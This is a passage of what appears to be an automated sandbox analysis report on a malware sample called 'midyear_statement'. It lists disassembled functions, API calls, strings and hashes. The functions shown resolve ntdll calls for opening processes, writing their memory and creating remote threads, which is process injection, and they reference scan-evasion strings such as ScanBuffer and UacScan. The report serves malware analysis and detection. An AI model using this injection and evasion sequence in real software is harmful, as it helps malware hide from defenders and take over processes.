Part of subcall function 040A5A3C: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,040A5B41,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 040A5AFB
Part of subcall function 040A5A3C: RegQueryValueExA.ADVAPI32(?,040A5CA8,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,040A5B41,?,80000001), ref: 040A5B19
Part of subcall function 040A5A3C: RegCloseKey.ADVAPI32(?,040A5B48,00000000,?,?,00000000,040A5B41,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 040A5B3B

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: 1e8a0067773dd6e412028901a4fa07187171c54260f06aed7664556dc4e307ba
Instruction ID: 12a996b1b8e7ee30d510bb28791240ec58bd873b2b0ce0a002d945365fc033af
Opcode Fuzzy Hash: 1e8a0067773dd6e412028901a4fa07187171c54260f06aed7664556dc4e307ba
Instruction Fuzzy Hash: 39E06D71A002149BDB50DE98DCC0A8633D8BF08658F004A61EC54EF346D7B0E92087D1

Uniqueness

Uniqueness Score: -1.00%

Function 040A7D58 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 040A7D6C

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 736f4f92db52b42fc2a1391f4de21fa5b41205fd5f72813ecabc44a8b4ec614d
Instruction ID: 52774b3f84f1171e691e8d375af7286b86c030b94e62177ac7d2a25286e39511
Opcode Fuzzy Hash: 736f4f92db52b42fc2a1391f4de21fa5b41205fd5f72813ecabc44a8b4ec614d
Instruction Fuzzy Hash: 46D05B723081107AE324965E9C44DF76BECCBC9774F14463AB598C3180D720DC018271

Uniqueness

Uniqueness Score: -1.00%

Function 040A4C0C Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(040BD6AC), ref: 040A4BDE
SysReAllocStringLen.OLEAUT32(040CA580,040BD6AC,00000016), ref: 040A4C26

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 5ce10666472a565598d7f4b630483a17b03d11c9dd77ca7b670e171da283bfbe
Instruction ID: dce062d76d989a1908c2869540f73c9655c93f15aaec98a2c0f237633f5d17ea
Opcode Fuzzy Hash: 5ce10666472a565598d7f4b630483a17b03d11c9dd77ca7b670e171da283bfbe
Instruction Fuzzy Hash: C1D0127C9201015E6BA85ED59D24B3661DA99D0309F8CC6AC94027E650E7E5F4349621

Uniqueness

Uniqueness Score: -1.00%

Function 040A7DD4 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,040BE36F,ScanString,04100344,040C9768,OpenSession,04100344,040C9768,ScanString,04100344,040C9768,UacScan,04100344,040C9768,UacInitialize), ref: 040A7DDF

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 0e95aad3414f9b9c2a2109699958fa49b390097b3f52a26050f892d7429b04e1
Instruction ID: f73fbd33680711a80eb2cf144c9fbae93e3b5e4de273bd28957837557291925b
Opcode Fuzzy Hash: 0e95aad3414f9b9c2a2109699958fa49b390097b3f52a26050f892d7429b04e1
Instruction Fuzzy Hash: A6C08CA0301200066B90E2FC1CC45A912D8490523C3680F22F469F31E2D623F0362010

Uniqueness

Uniqueness Score: -1.00%

Function 040A7DF8 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,040C13B4,ScanString,04100344,040C9768,OpenSession,04100344,040C9768,OpenSession,04100344,040C9768,ScanBuffer,04100344,040C9768,ScanString), ref: 040A7E03

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 402d99361340c0d933afbb412631b9ac4ad4834bfd450701127e11a6c8c5f0c3
Instruction ID: 490ee13a859da315f00ad2c7411a917809b853fdb577ae92a4101d7a4b22aef4
Opcode Fuzzy Hash: 402d99361340c0d933afbb412631b9ac4ad4834bfd450701127e11a6c8c5f0c3
Instruction Fuzzy Hash: 40C08CB12012000AAFD0E5FC1CC118A42C80A2913C7A41F31E468F32D2D233F8372010

Uniqueness

Uniqueness Score: -1.00%

Function 040A4BE8 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 040A4BFB

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 022aca0795f7a4c93c8e5bd2fafd073bcc6474edabc63fef6319f9c00722eb75
Instruction ID: b39de8b19916fd1d8d8eb4ea7b243256e8785bdbbff2b128da79d636f064e539
Opcode Fuzzy Hash: 022aca0795f7a4c93c8e5bd2fafd073bcc6474edabc63fef6319f9c00722eb75
Instruction Fuzzy Hash: A7C012B961023057FBE15AD9ACC0B9262CCDB45298F1400A1D405EB240E2A0F8204390

Uniqueness

Uniqueness Score: -1.00%

Function 040CA288 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM(00002710,00000000,040CA27C,00000000,00000001), ref: 040CA298

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: b273326f9a1cac485a09ed5b7e900424ba6793fcde73b8663e9c3194c29aa0b1
Instruction ID: 9ec49c1490efc6a2c175178baabc2eced6839cf57525832cb8e4779cb825c751
Opcode Fuzzy Hash: b273326f9a1cac485a09ed5b7e900424ba6793fcde73b8663e9c3194c29aa0b1
Instruction Fuzzy Hash: 24C09BF07943407AF51057F55CC2F6715CCD344714F910016B700FE2C1D1D65D500690

Uniqueness

Uniqueness Score: -1.00%

Function 040A4BA8 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,?), ref: 040A4BAF

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 5b07472a888e3776e148b0ae0a9523aba3cc3b720f77a61ad4bbe8091deed3d1
Instruction ID: f22a7355dbeae1e3424c67ce5857e4dcd2f7d0d58d27c575e96b4d3c9e98efe4
Opcode Fuzzy Hash: 5b07472a888e3776e148b0ae0a9523aba3cc3b720f77a61ad4bbe8091deed3d1
Instruction Fuzzy Hash: 44B0923C2182015AFA9026E10D10BB600CC4B40299F8400A89E10F80C1FA84E4355032

Uniqueness

Uniqueness Score: -1.00%

Function 040A4BC0 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 040A4BC7

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 24956878744e0cf408ac333ce8dc40b9425db7c86dff444b3116ba821e895215
Instruction ID: 0584f3ea13da8b005e953bac207b7a1cecc09f0377470daac5ea675a1af524fb
Opcode Fuzzy Hash: 24956878744e0cf408ac333ce8dc40b9425db7c86dff444b3116ba821e895215
Instruction Fuzzy Hash: 53A022BC0003038AAF8B33EC88C0AAB20B2BFE030C3C8C0E800003E0008E3AE030A220

Uniqueness

Uniqueness Score: -1.00%

Function 040A15CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,040A1A03,?,040A1FC1), ref: 040A15E2

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: dfda7fd135facca2c38e7fba3a54f7e56dc5e6f3bea506be10989b6148fed9bb
Instruction ID: aeda5829a8620af802af46099447330a136b98e1615cb43a4b81825dfef5f1b8
Opcode Fuzzy Hash: dfda7fd135facca2c38e7fba3a54f7e56dc5e6f3bea506be10989b6148fed9bb
Instruction Fuzzy Hash: 2CF049F07017004FEB05DFB99944B05BBD2EB89348F248139D60AEF788F779A8018B00

Uniqueness

Uniqueness Score: -1.00%

Function 040A1682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004,?,?,?,?,040A1FC1), ref: 040A16A4

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9f3f59b308a7e04f41ae6fe9c4d931661085e219b9b3b717c5d814a7bf16aa62
Instruction ID: ad56d60f71d6037d137126188c8dba506070a5a3ecb3ec6c91476db386b85780
Opcode Fuzzy Hash: 9f3f59b308a7e04f41ae6fe9c4d931661085e219b9b3b717c5d814a7bf16aa62
Instruction Fuzzy Hash: 8CF0B4B2B04B966BE7119F9A9C80B86FB94FB45318F05413AFA08EB744D778FC108794

Uniqueness

Uniqueness Score: -1.00%

Function 040A16E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,040A1FE4), ref: 040A1704

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 865aa495fc3cb2490083d447dcb2339103e786948349c5cc106285c8b8d885e5
Instruction ID: 7bfa287181a8e721cddc6183991cec1bcf062358947c939923148d457d2d2bdb
Opcode Fuzzy Hash: 865aa495fc3cb2490083d447dcb2339103e786948349c5cc106285c8b8d885e5
Instruction Fuzzy Hash: F3E086753003016FE7105AB95D40F5AABD8EB44658F144476F601EF251D264FC208764

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 040BA160 Relevance: 63.1, APIs: 16, Strings: 19, Instructions: 1853librarynativeloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 040B7B88: LoadLibraryW.KERNEL32(?,00000000,040B7C3A), ref: 040B7BB8
Part of subcall function 040B7B88: GetModuleHandleW.KERNEL32(?,?,00000000,040B7C3A), ref: 040B7BBE
Part of subcall function 040B7B88: GetProcAddress.KERNEL32(00000000,00000000), ref: 040B7BD7

GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtOpenProcess,UacScan,04100344,040BC068,ScanString,04100344,040BC068,ScanBuffer,04100344,040BC068,ScanString,04100344,040BC068,UacScan,04100344), ref: 040BA42F
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 040BA435

Part of subcall function 040A2EE0: QueryPerformanceCounter.KERNEL32 ref: 040A2EE4

GetCurrentProcess.KERNEL32(00000000,00000000,?,?,?,?,0000007A,00000000,00000000), ref: 040BA810

Part of subcall function 040B78F8: GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 040B7905
Part of subcall function 040B78F8: GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 040B790B
Part of subcall function 040B78F8: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 040B792B

IsBadReadPtr.KERNEL32(00000000,00000040,?,?,0000007A,00000000,00000000), ref: 040BA9AC
IsBadReadPtr.KERNEL32(?,000000F8,00000000,00000040,?,?,0000007A,00000000,00000000), ref: 040BA9D9
GetCurrentProcess.KERNEL32(00000000,00000000,00003000,00000040,?,000000F8,00000000,00000040,?,?,0000007A,00000000,00000000), ref: 040BAA30
GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtWriteVirtualMemory,UacScan,04100344,040BC068,ScanString,04100344,040BC068,ScanBuffer,04100344,040BC068,ScanBuffer,04100344,040BC068,OpenSession,04100344), ref: 040BB672
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 040BB678
GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtCreateThreadEx,UacScan,04100344,040BC068,ScanString,04100344,040BC068,?,?,0000007A,00000000,00000000), ref: 040BB877
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 040BB87D
CloseHandle.KERNEL32(00000000,ScanString,04100344,040BC068,OpenSession,04100344,040BC068,?,?,0000007A,00000000,00000000), ref: 040BBBF4
NtFreeVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,00004000,OpenSession,04100344,040BC068,ScanBuffer,04100344,040BC068,ScanBuffer,04100344,040BC068,OpenSession,04100344,040BC068), ref: 040BBD92
GetCurrentProcess.KERNEL32(00000000,00000000,00004000,?,000000F8,00000000,00000040,?,?,0000007A,00000000,00000000), ref: 040BBDA8
NtFreeVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,00004000,?,000000F8,00000000,00000040,?,?,0000007A,00000000,00000000), ref: 040BBDAE
GetCurrentProcess.KERNEL32(00000000,00000000,?,?,0000007A,00000000,00000000), ref: 040BBDC6
NtFreeVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,?,?,0000007A,00000000,00000000), ref: 040BBDCC

Strings

NtWriteVirtualMemory, xrefs: 040BB668
bcrypt, xrefs: 040BBE47, 040BBE58, 040BBE69
UacScan, xrefs: 040BA245, 040BA3D3, 040BA446, 040BAEA6, 040BB5FE, 040BB803, 040BB891, 040BBDD8
OpenSession, xrefs: 040BA1EC, 040BA5AB, 040BA827, 040BAAB8, 040BABC3, 040BAD23, 040BAF17, 040BB0A9, 040BB1A2, 040BB32C, 040BB429, 040BB6FD, 040BB981, 040BBB02, 040BBC05, 040BBD14, 040BBEED
advapi32, xrefs: 040BBF6D
NtOpenObjectAuditAlarm, xrefs: 040BBF57
Initialize, xrefs: 040BA193, 040BA71B
ntdll, xrefs: 040BBF5C, 040BBF7E, 040BBF8F
NtCreateThreadEx, xrefs: 040BB86D
UacInitialize, xrefs: 040BA53A, 040BA6AA, 040BA898, 040BAA47, 040BAC34, 040BAE05, 040BAFC7, 040BB131, 040BB2BB, 040BB68C, 040BB910, 040BB9F2, 040BBFA2
I_QueryTagInformation, xrefs: 040BBF68
ScanBuffer, xrefs: 040BA2FB, 040BA4B1, 040BA61C, 040BA78C, 040BA909, 040BAB29, 040BACA5, 040BAD94, 040BB038, 040BB213, 040BB39D, 040BB49A, 040BB51C, 040BBA63, 040BBC54, 040BBCA3
BCryptVerifySignature, xrefs: 040BBE42
BCryptQueryProviderRegistration, xrefs: 040BBE53
ScanString, xrefs: 040BA29E, 040BA37A, 040BB58D, 040BB792, 040BBB73, 040BBE7C
NtSetSecurityObject, xrefs: 040BBF79
BCryptRegisterProvider, xrefs: 040BBE64
NtOpenProcess, xrefs: 040BA425, 040BBF8A
C:\Windows\System32\ntdll.dll, xrefs: 040BA42A, 040BB66D, 040BB872

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: Handle$AddressModuleProc$CurrentMemoryProcessVirtual$Free$Read$AllocateCloseCounterLibraryLoadPerformanceQuery
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Windows\System32\ntdll.dll$I_QueryTagInformation$Initialize$NtCreateThreadEx$NtOpenObjectAuditAlarm$NtOpenProcess$NtSetSecurityObject$NtWriteVirtualMemory$OpenSession$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$ntdll
API String ID: 4243884105-1854689126
Opcode ID: 1a714b03e16877bfa88765d8dca16d88dd9382f7206fd5a050206c2d451e4bb0
Instruction ID: 3a6d3c080f58bc2ed834ec3effca3bb6fcdda39348e7e4f2132b7aee456011ca
Opcode Fuzzy Hash: 1a714b03e16877bfa88765d8dca16d88dd9382f7206fd5a050206c2d451e4bb0
Instruction Fuzzy Hash: 0AF24338A551198FEB11EBA4DC80FCEB3B9AF4560CF1442A59048BB214DB70FE65CF95

Uniqueness

Uniqueness Score: -1.00%

Function 040B9B34 Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000002,040B9DBB,?,?,040B9E4D,00000000,040B9F29), ref: 040B9B48
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 040B9B60
GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 040B9B72
GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 040B9B84
GetProcAddress.KERNEL32(00000000,Heap32First), ref: 040B9B96
GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 040B9BA8
GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 040B9BBA
GetProcAddress.KERNEL32(00000000,Process32First), ref: 040B9BCC
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 040B9BDE
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 040B9BF0
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 040B9C02
GetProcAddress.KERNEL32(00000000,Thread32First), ref: 040B9C14
GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 040B9C26
GetProcAddress.KERNEL32(00000000,Module32First), ref: 040B9C38
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 040B9C4A
GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 040B9C5C
GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 040B9C6E

Strings

kernel32.dll, xrefs: 040B9B43
Process32First, xrefs: 040B9BC4
Heap32Next, xrefs: 040B9BA0
Thread32First, xrefs: 040B9C0C
Module32NextW, xrefs: 040B9C66
Toolhelp32ReadProcessMemory, xrefs: 040B9BB2
Module32FirstW, xrefs: 040B9C54
CreateToolhelp32Snapshot, xrefs: 040B9B58
Process32NextW, xrefs: 040B9BFA
Module32First, xrefs: 040B9C30
Module32Next, xrefs: 040B9C42
Heap32First, xrefs: 040B9B8E
Process32Next, xrefs: 040B9BD6
Heap32ListFirst, xrefs: 040B9B6A
Process32FirstW, xrefs: 040B9BE8
Thread32Next, xrefs: 040B9C1E
Heap32ListNext, xrefs: 040B9B7C

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
API String ID: 667068680-597814768
Opcode ID: 64d1cf1153c521a308ba58094162f039fc9487ca691595fc35bbb226a1433c9b
Instruction ID: 30e1d14eb698a6e12f6f72ffe37b34ee0282f36b0cb0ac5b4fa316c50cc7cf41
Opcode Fuzzy Hash: 64d1cf1153c521a308ba58094162f039fc9487ca691595fc35bbb226a1433c9b
Instruction Fuzzy Hash: EA31FFF05406109FEB01EFB5E885BA53BE8EB5A208B054975E180EF205D6BAA890CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 040A5878 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,040A72F4,040A0000,040CC790), ref: 040A5895
GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 040A58AC
lstrcpynA.KERNEL32(?,?,?), ref: 040A58DC
lstrcpynA.KERNEL32(?,?,?,kernel32.dll,040A72F4,040A0000,040CC790), ref: 040A5940
lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,040A72F4,040A0000,040CC790), ref: 040A5976
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,040A72F4,040A0000,040CC790), ref: 040A5989
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,040A72F4,040A0000,040CC790), ref: 040A599B
lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,040A72F4,040A0000,040CC790), ref: 040A59A7
lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,040A72F4,040A0000), ref: 040A59DB
lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,040A72F4), ref: 040A59E7
lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 040A5A09

Strings

kernel32.dll, xrefs: 040A5890
\, xrefs: 040A59B9
GetLongPathNameA, xrefs: 040A58A3

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
